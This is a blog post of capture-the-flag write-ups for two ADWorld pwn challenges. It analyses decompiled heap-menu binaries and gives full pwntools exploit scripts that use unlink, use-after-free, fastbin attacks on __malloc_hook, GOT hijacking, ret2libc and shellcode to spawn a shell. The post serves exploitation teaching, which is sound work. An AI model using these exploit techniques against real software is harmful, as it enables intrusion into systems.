ADWorld PWN Challenge Area Write-ups (Unlink)
TyeYeah Lv4

4-ReeHY-main-100

Attachment: 4-ReeHY-main-100.zip
Description: None

This challenge can be solved by using stack overflow, GOT hijacking, unlink, double free or some other tricks.

Information

Unzip first:

1
2
3
4
$ unzip 4-ReeHY-main-100.zip
Archive: 4-ReeHY-main-100.zip
inflating: ctflibc.so.6
inflating: 4-ReeHY-main

Then check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ file 4-ReeHY-main
4-ReeHY-main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=096967f69a5a1a6960ed59bd71560cb492db21a8, stripped
$ checksec 4-ReeHY-main
[*] '/root/4-ReeHY-main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ chmod +x ctflibc.so.6
$ ./ctflibc.so.6
GNU C Library (GNU libc) stable release version 2.17, by Roland McGrath et al.
Copyright (C) 2012 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.8.5 20150623 (Red Hat 4.8.5-11).
Compiled on a Linux 3.10.0 system on 2016-12-06.
Available extensions:
The C stubs add-on version 2.1.2.
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
RT using linux kernel aio
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<http://www.gnu.org/software/libc/bugs.html>.

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 savedregs; // [rsp+10h] [rbp+0h]

read_name();
while ( 1 )
{
menu();
read_choice();
switch ( (unsigned int)&savedregs )
{
case 1u:
create();
break;
case 2u:
delete();
break;
case 3u:
edit();
break;
case 4u:
show();
break;
case 5u:
puts("bye~bye~ young hacker");
exit(0);
return;
default:
puts("Invalid Choice!");
break;
}
}
}

read_name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int read_name()
{
void *buf; // ST08_8

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
size_list = (__int64)malloc(0x14uLL);
puts("Input your name: ");
write(1, "$ ", 2uLL);
buf = malloc(0x20uLL);
read(0, buf, 0x20uLL);
write(1, "Hello ", 6uLL);
return puts((const char *)buf);
}

create:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
signed int create()
{
signed int result; // eax
char buf; // [rsp+0h] [rbp-90h]
void *dest; // [rsp+80h] [rbp-10h]
int v3; // [rsp+88h] [rbp-8h]
size_t nbytes; // [rsp+8Ch] [rbp-4h]

result = total_num;
if ( total_num <= 4 )
{
puts("Input size");
result = read_choice();
LODWORD(nbytes) = result;
if ( result <= 4096 )
{
puts("Input cun");
result = read_choice();
v3 = result;
if ( result <= 4 )
{
dest = malloc((signed int)nbytes);
puts("Input content");
if ( (signed int)nbytes > 112 )
{
read(0, dest, (unsigned int)nbytes);
}
else
{
read(0, &buf, (unsigned int)nbytes);
memcpy(dest, &buf, (signed int)nbytes);
}
*(_DWORD *)(size_list + 4LL * v3) = nbytes;
*((_QWORD *)&content_list + 2 * v3) = dest;
exist_flag[4 * v3] = 1;
++total_num;
result = fflush(stdout);
}
}
}
return result;
}

delete:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 delete()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]

puts("Chose one to dele");
result = read_choice();
v1 = result;
if ( (signed int)result <= 4 )
{
free(*((void **)&content_list + 2 * (signed int)result));
exist_flag[4 * v1] = 0;
puts("dele success!");
result = (unsigned int)(total_num-- - 1);
}
return result;
}

edit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed int edit()
{
signed int result; // eax
signed int v1; // [rsp+Ch] [rbp-4h]

puts("Chose one to edit");
result = read_choice();
v1 = result;
if ( result <= 4 )
{
result = exist_flag[4 * result];
if ( result == 1 )
{
puts("Input the content");
read(0, *((void **)&content_list + 2 * v1), *(unsigned int *)(4LL * v1 + size_list));
result = puts("Edit success!");
}
}
return result;
}

Some addresses:

1
2
3
4
5
6
7
.bss:0000000000602080 stdout          dq ?                    ; DATA XREF: LOAD:0000000000400400↑o
.bss:0000000000602090 stdin dq ? ; DATA XREF: LOAD:0000000000400418↑o
.bss:00000000006020A0 stderr dq ? ; DATA XREF: LOAD:0000000000400430↑o
.bss:00000000006020AC total_num dd ? ; DATA XREF: create+B↑r
.bss:00000000006020C0 size_list dq ? ; DATA XREF: read_name+6C↑w
.bss:00000000006020E0 content_list db ? ; ; DATA XREF: create+FE↑o
.bss:00000000006020E8 exist_flag dd 10h dup(?) ; DATA XREF: create+119↑o

Sub functions (menu, read_choice and show) are either simple or not constructed.
Rename some items for simplification.

Analysis

Though in delete() it doesn’t set freed pointer as NULL, it uses exist_flag as flag and check it in edit, so UAF cannot be down, but here we can build a double free.
Double free often works for fastbin attack and unlink. This time, I will show you how to exploit unlink (it doesn’t need double free yet).

The unlink occurs only when you free a chunk, and a freed chunk (not in fastbin) is next to it. Then that freed chunk will be unlinked (that’s where unlink happens) from its bin list, and merged with your newly freed chunk.

Basic principle of exploiting unlink will be posted as another essay. It needs to fake one chunk’s fd and bk as target-0x18 and target-0x10, and you get *target = target-0x18 as a result after unlink.

Back to this task. In read_name():

1
size_list = (__int64)malloc(0x14uLL);

In create():

1
2
3
*(_DWORD *)(size_list + 4LL * v3) = nbytes;
*((_QWORD *)&content_list + 2 * v3) = dest;
exist_flag[4 * v3] = 1;

According to their addresses we know that size_list is a 0x14 array to store content size.
The content_list and exist_flag can be regarded as a structure which is 0x10 long, 0x8 for content_list which stores pointer of content, and the rest for exist_flag which stores content size.
u1.svg

We can hijack GOT to leak libc base address and get shell, the point is how to edit GOT items.
The edit() is to edit what content_list items point to, so we try unlink to change what they point as GOT items.

First we create 2 chunks with index 0 and 1
u2.svg

Then we fake a freed chunk in chunk 0 waiting for unlink.

To set it as freed, the prev_size of chunk 1 should be the faked chunk’s size, but the size of chunk 0 in size_list cannot let us overflow prev_size of chunk 1. So we have to edit size_list first.

In create() the cun can be negative, which leads us to access things ahead of content_list, so do delete(). If we set index as -2 we will access size_list.

One way is to delete() the size_list first to put it in fastbin (it is 0x14), then create() a chunk 2 in 0x10-0x18 to get that back into control and edit.
u3.svg
Another way is to create() with index -2, which malloc a new controllable space for size_list, but remember to set content size of others right.
u4.svg

Anyway we control the size_list, and it’s easy to set chunk 0 big enough to enable faking chunk. Let’s fake one:
u5.svg
Things in red is our fake chunk, and we overflow prev_size and prev_inuse in size of chunk 1 to indicate that this chunk is freed, ready to unlink.

Then we free chunk 1, which unlink fake chunk and get *content_list = content_list-0x18.
u6.svg
It sometimes is confusing because we do not know clearly how to exploit it. Well, here we can overflow content_list items as GOT items and set all exist_flag as 1, then use edit() to hijack GOT.

Check the exploit script for details.

Besides there is also a stackoverflow in create(). it reads size and use it as signed int to malloc, while as unsigned int to read, so here exists a integer overflow.

Set size as ‘-1’ and in read it will read 0xffffffff chars to buf on stack. But there is a memcpy(dest, &buf, (signed int)nbytes); to execute, so when overflow we have to set their value (dest, buf, nbytes) right.

Exploit

Using unlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')
sh = process('./4-ReeHY-main')
sh = remote('220.249.52.133','32078')
elf = ELF('./4-ReeHY-main')
libc = ELF('./ctflibc.so.6')
size_list = 0x6020C0
content_list = 0x6020E0
exist_flag = 0x6020E8

def create(size,index,content):
sh.sendlineafter('$','1')
sh.sendlineafter('Input size\n',str(size))
sh.sendlineafter('Input cun\n',str(index))
sh.sendafter('Input content\n',content)

def delete(index):
sh.sendlineafter('$','2')
sh.sendlineafter('Chose one to dele\n',str(index))

def edit(index,content):
sh.sendlineafter('$','3')
sh.sendlineafter('Chose one to edit\n',str(index))
sh.sendafter('Input the content\n',content)

sh.sendlineafter('Input your name: \n$','name')

create(0x100,0,'0'*0x100)
create(0x100,1,'1'*0x100)
'''
delete(-2)
create(0x18,2,p32(0x200)+p32(0x100))
'''
create(0x70,-2,p32(0x200)+p32(0x100)+p32(0x100))
# length of chunk2 is a must, or it must be smaller than 0x70

chunk0 = p64(0) + p64(0x101) + p64(content_list-0x18)+p64(content_list-0x10)
chunk0 = chunk0.ljust(0x100,'a')
chunk1 = p64(0x100)+p64(0x110)
edit(0,chunk0+chunk1)
delete(1) # unlink

payload = 'a'*0x18 # padding
payload += p64(elf.got['free'])+p64(1)
payload += p64(elf.got['puts'])+p64(1)
payload += p64(elf.got['atoi'])+p64(1)
edit(0,payload)
edit(0,p64(elf.plt['puts']))
delete(1) # call got.free to execute plt.puts

puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
''' 2.17 given, but 2.23 on remote, so the following doesn't work
libc_addr = puts_addr - libc.symbols['puts']
system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + libc.search('/bin/sh').next()
'''
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')

edit(2,p64(system_addr))
sh.sendlineafter('$','/bin/sh')

sh.interactive()

Using stackoverflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')
sh = process('./4-ReeHY-main')
sh = remote('220.249.52.133','32078')
elf = ELF('./4-ReeHY-main')
libc = ELF('./ctflibc.so.6')

pop_rdi = 0x400da3
main_addr = 0x400C8C

def create(size,index,content):
sh.sendlineafter('$','1')
sh.sendlineafter('Input size\n',str(size))
sh.sendlineafter('Input cun\n',str(index))
sh.sendafter('Input content\n',content)

# fill 'buf', 'dest', 'v3', 'nbytes' and 'rbp' in order
# in fact only 'v3' and 'nbytes' have some limits here
payload = "a"*0x80 + p64(0)+p32(0)+p32(0)+p64(0)
payload += p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main_addr)
sh.sendlineafter('Input your name: \n$','name')
create(-1,0,payload)

puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
print hex(puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

payload = "a"*0x80 + p64(elf.got['exit'])+p32(0)+p32(0)+p64(0)
payload += p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
sh.sendlineafter('Input your name: \n$','name')
create(-1,1,payload)

sh.interactive()

Noleak

Attachment: Noleak.zip
Description: None

This task requires to exploit UAF, unlink, fastbin attack, partial write bypass PIE and overwrite __malloc_hook.

Information

Unzip it:

1
2
3
4
$ unzip Noleak.zip
Archive: Noleak.zip
inflating: timu
inflating: libc-2.23.so

Check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ file timu
timu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6f6e16df39f3af5d7cc7e3c9d2deb35b4d3e0bdf, stripped
$ checksec timu
[*] '/root/timu'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
$ ./libc-2.23.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
int v3; // eax

while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_num();
if ( v3 != 2 )
break;
delete();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
update();
}
else
{
if ( v3 == 4 )
exit(1);
LABEL_12:
write_func("Wrong choice\n", 0xDu);
}
}
else
{
if ( v3 != 1 )
goto LABEL_12;
create();
}
}
}

create:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void create()
{
signed int i; // [rsp+0h] [rbp-10h]
int nbytes; // [rsp+4h] [rbp-Ch]
void *nbytes_4; // [rsp+8h] [rbp-8h]

write_func("Size: ", 6u);
nbytes = read_num();
nbytes_4 = malloc(nbytes);
if ( nbytes_4 )
{
for ( i = 0; i <= 9 && buf[i]; ++i )
;
if ( i == 10 )
{
write_func("List is Full!\n", 0xEu);
free(nbytes_4);
}
else
{
write_func("Data: ", 6u);
read(0, nbytes_4, (unsigned int)nbytes);
buf[i] = nbytes_4;
}
}
}

update:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int update()
{
void *v0; // rax
unsigned int nbytes; // ST0C_4
int v3; // [rsp+8h] [rbp-8h]

write_func("Index: ", 7u);
LODWORD(v0) = read_num();
v3 = (signed int)v0;
if ( (unsigned int)v0 <= 9 )
{
v0 = buf[(unsigned int)v0];
if ( v0 )
{
write_func("Size: ", 6u);
nbytes = read_num();
write_func("Data: ", 6u);
LODWORD(v0) = read(0, buf[v3], nbytes);
}
}
return (signed int)v0;
}

delete:

1
2
3
4
5
6
7
8
9
void delete()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]

write_func("Index: ", 7u);
v0 = read_num();
if ( v0 <= 9 )
free(buf[v0]);
}

Analysis

In update() it doesn’t check the size, which may cause overflow.

In delete() it doesn’t set freed pointer as NULL, so it is a UAF.

But it gets full RELRO, so GOT hijacking can’t work. We can overwrite __malloc_hook instead, and trigger it by calling malloc.

As it has RWX (readable, writable and executable) bss segment, we can write shellcode to it.

Though this program gets no PIE, we still needs partial write to bypass PIE, because __malloc_hook is in libc while it has PIE enabled.

To sum up, our general idea is to use unlink (by overflow) to control buf, then write bss address to buf item and write shellcode to bss. Then try to write __malloc_hook as bss address so that shellcode will be triggered by a new malloc.

The tricky part must be overwriting the __malloc_hook because we have analysed unlink but this part involves unsorted bin attack, fastbin attack and partial write bypass PIE, so I will get you some details.

Basic principle can be found in “Heap Exploit Intro”

To write on __malloc_hook we have to alloc it first, by using fastbin attack; while its address can only be guessed by knowing main_arena + 0x88 first, which needs unsorted bin attack.

For unsorted bin attack part:

  1. First delete one chunk X (belongs to unsorted bin), the main_arena + 0x88 will be stored in its fd.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> bin
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x1444030 —▸ 0x7f051aa4ab78 (main_arena+88) ◂— xor byte ptr [rax + 0x44], al /* 0x1444030 */
    smallbins
    empty
    largebins
    empty
  2. Use UAF to overwrite last 2 bytes to set it as __malloc_hook. The randomization exists in loading libc but the last three digits will be fixed. As they are in the same memory page, only last 2 bytes are different, so the fourth digit from last is totally random.
    Using brute force to break it.
    1
    (malloc_hook & 0xffff) - 0x23
    As it rands, there is always a time the last 2 bytes happen to be like this. Then use UAF to overwrite last 2 bytes of that chunk’s fd.

Now it points to __malloc_hook - 0x23, check “Heap Exploit Intro” to see why is it, it’s for fastbin attack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook>
pwndbg> x/10gx 0x7ffff7dd1b10
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a928a0 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7ffff7dd1b10-0x30
0x7ffff7dd1ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92ea0 0x00007ffff7a92a70
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a928a0 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7ffff7dd1b10-0x23
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0xfff7a928a000007f 0x000000000000007f
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000

We can see a 0x7f size chunk starts at __malloc_hook - 0x23.

Then we do fastbin attack:

  1. Free chunk A and chunk B to build a fastbin list.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> bin
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x152b130 —▸ 0x152b0c0 ◂— 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
  2. To link chunk X into that fastbin list, we can also use partial write because in my exploit the chunk B and chunk X are adjacent, so only last byte is different:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> bin
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x152b0c0 ◂— 0x0
    0x80: 0x0
    unsortedbin
    all: 0x152b030 —▸ 0x7efef02c7b78 (main_arena+88) ◂— xor byte ptr [rax + 0x46], dh /* 0x152b030 */
    smallbins
    empty
    largebins
    empty
    The chunk B is 0x152b0c0 while chunk X is 0x152b030. Just update the chunk before the chunk X to overflow and achieve the overwriting.
  3. Now it should be:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    pwndbg> bin
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x152b130 —▸ 0x152b030 ◂— 0x7febf8254aed
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
    We malloc chunk in that fastbin list to alloc 0x7febf8254aed(__malloc_hook - 0x23) out, then we can write bss address to it and use malloc to trigger shellcode.

Exploit

Here it is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')
sh = process('timu')
# sh = remote('220.249.52.133','56588')
elf = ELF('timu')
libc = ELF('libc-2.23.so')

bss_addr = elf.bss() # '0x601020'
buf_addr = 0x601040
malloc_hook = libc.sym['__malloc_hook']
exploit_addr = (malloc_hook & 0xffff) - 0x23 # need to explain
shellcode = asm(shellcraft.sh())


def create(size,data):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Size:',str(size))
sh.sendafter('Data:',data)
def update(index,size,data):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Index:',str(index))
sh.sendlineafter('Size:',str(size))
sh.sendafter('Data:',data)
def delete(index):
sh.sendlineafter('Your choice :','2')
sh.sendlineafter('Index:',str(index))

def crack():
create(0x100,'0'*0x8) # chunk 0
create(0x100,'1'*0x8) # chunk 1
payload1 = p64(0)+p64(0x101)+p64(buf_addr-0x18)+p64(buf_addr-0x10)
payload1 += 'a' * (0x100-4*8)
payload1 += p64(0x100) + p64(0x110)
update(0,len(payload1),payload1)
delete(1) # unlink, now buf[0] -> buf_addr - 0x18

payload2 = p64(0) * 3 + p64(bss_addr)
update(0,len(payload2),payload2) # set buf[0] -> bss
update(0,len(shellcode),shellcode) # write shellcode to bss

create(0x10,'2'*0x8) # chunk 2
create(0x80,'3'*0x8) # chunk 3
create(0x60,'4'*0x8) # chunk 4
create(0x60,'5'*0x8) # chunk 5

delete(3) # to unsorted bin, leave 'main_arena + 0x88' in fd

# this part is for debug
# delete(4)
# print pidof(sh)
# pause()

create(0x80,p16(exploit_addr)) # chunk 6 (3) # partial write 'fd' to be 'malloc_hook - 0x23'

payload3 = 'a'*0x10+p64(0)+p64(0x71)
update(2,len(payload3),payload3)
delete(4)
delete(5)

# this part is also for debug
# print pidof(sh)
# pause()


update(5,1,p8(0x30)) # partial write 'fd' of chunk 5 to point to chunk 3

create(0x60,'7'*8) # chunk 7 (5)
create(0x60,'8'*8) # chunk 8 (3)
# create(0x65,'xxx') # 'size' must be 0x58-0x68, corresponding to 0x7f
create(0x60,'a'*0x13+p64(bss_addr)) # chunk 8 (__malloc_hook - 0x23)
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Size: ','1')
sh.interactive()

# crack()

# brute force
i = 1
while 1:
i+=1
sh = process('timu')
# sh = remote('220.249.52.133','56588')
try:
print 'Round:'+str(i)
crack()
break
except:
sh.close()

Powered by Hexo & Theme Keep
Total words 135.7k